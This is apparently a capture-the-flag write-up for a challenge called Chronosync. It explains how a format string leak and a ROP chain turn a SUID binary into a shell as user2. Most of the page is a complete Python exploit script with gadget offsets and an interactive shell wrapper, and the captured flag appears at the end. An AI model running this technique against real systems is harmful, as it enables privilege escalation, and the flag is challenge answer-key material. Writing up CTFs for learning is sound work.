← Back to SAVARA FEST CTF

FLAG 4 - CHRONOSYNC BINARY EXPLOITATION

Exploit a custom SUID binary named Chronosync using format string leaks and a ROP chain to execute a shell as user2.

Tools Used

GDBFormat String ExploitROP ChainPython

Overview

Inside user1's home directory or the system folders, we identify a custom SUID binary owned by user2 called chronosync.

Reconnaissance

We run basic tests and identify a format string vulnerability when inputting data to the binary.

Exploitation Strategy

1. Information Leak: We feed %11$p to the binary to leak a memory pointer and calculate the libc/binary base address dynamically (libc offset `0x87dda`).
2. ROP Chain Construction: We construct a ROP chain payload containing gadgets for setreuid(1002, 1002) to retain privileges, and then trigger system('/bin/sh').
3. We script the input/output flow using Python subprocess to control stdin/stdout and spawn a shell as user2, letting us read the flag.

Solution Code

import struct, subprocess, os, sys, select

p = subprocess.Popen(['/home/chronosync'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, bufsize=0)

# Step 1: Leak address via Format String
p.stdin.write(b"%11$p\n")
p.stdin.flush()
o = b""
while b"Hello, " not in o: o += p.stdout.read(1)
leak = int(p.stdout.read(14).split(b"!")[0], 16)
base = leak - 0x87dda
print(f"[+] Base: {hex(base)}")

# Step 2: Assemble ROP chain for setreuid(1002, 1002) + system('/bin/sh')
p64 = lambda x: struct.pack("<Q", x)
payload = b"A" * 136
payload += p64(0x40101a)                # ret_gadget for stack alignment
payload += p64(base + 0x10f78b)         # pop rdi
payload += p64(1002)                    # rdi = 1002
payload += p64(base + 0x110a7d)         # pop rsi
payload += p64(1002)                    # rsi = 1002
payload += p64(base + 0x1270d0)         # setreuid
payload += p64(base + 0x10f78b)         # pop rdi
payload += p64(base + 0x1cb42f)         # /bin/sh
payload += p64(0x40101a)                # ret_gadget
payload += p64(base + 0x58750)          # system

p.stdin.write(payload + b"\n")
p.stdin.flush()

# Interactive wrapper
while True:
    r, _, _ = select.select([p.stdout, sys.stdin], [], [])
    if p.stdout in r:
        d = p.stdout.read(1)
        if not d: break
        sys.stdout.buffer.write(d); sys.stdout.buffer.flush()
    if sys.stdin in r:
        d = os.read(sys.stdin.fileno(), 1)
        if not d: break
        p.stdin.write(d); p.stdin.flush()

Flag

FLAG{n92u8047219394791d3h746r}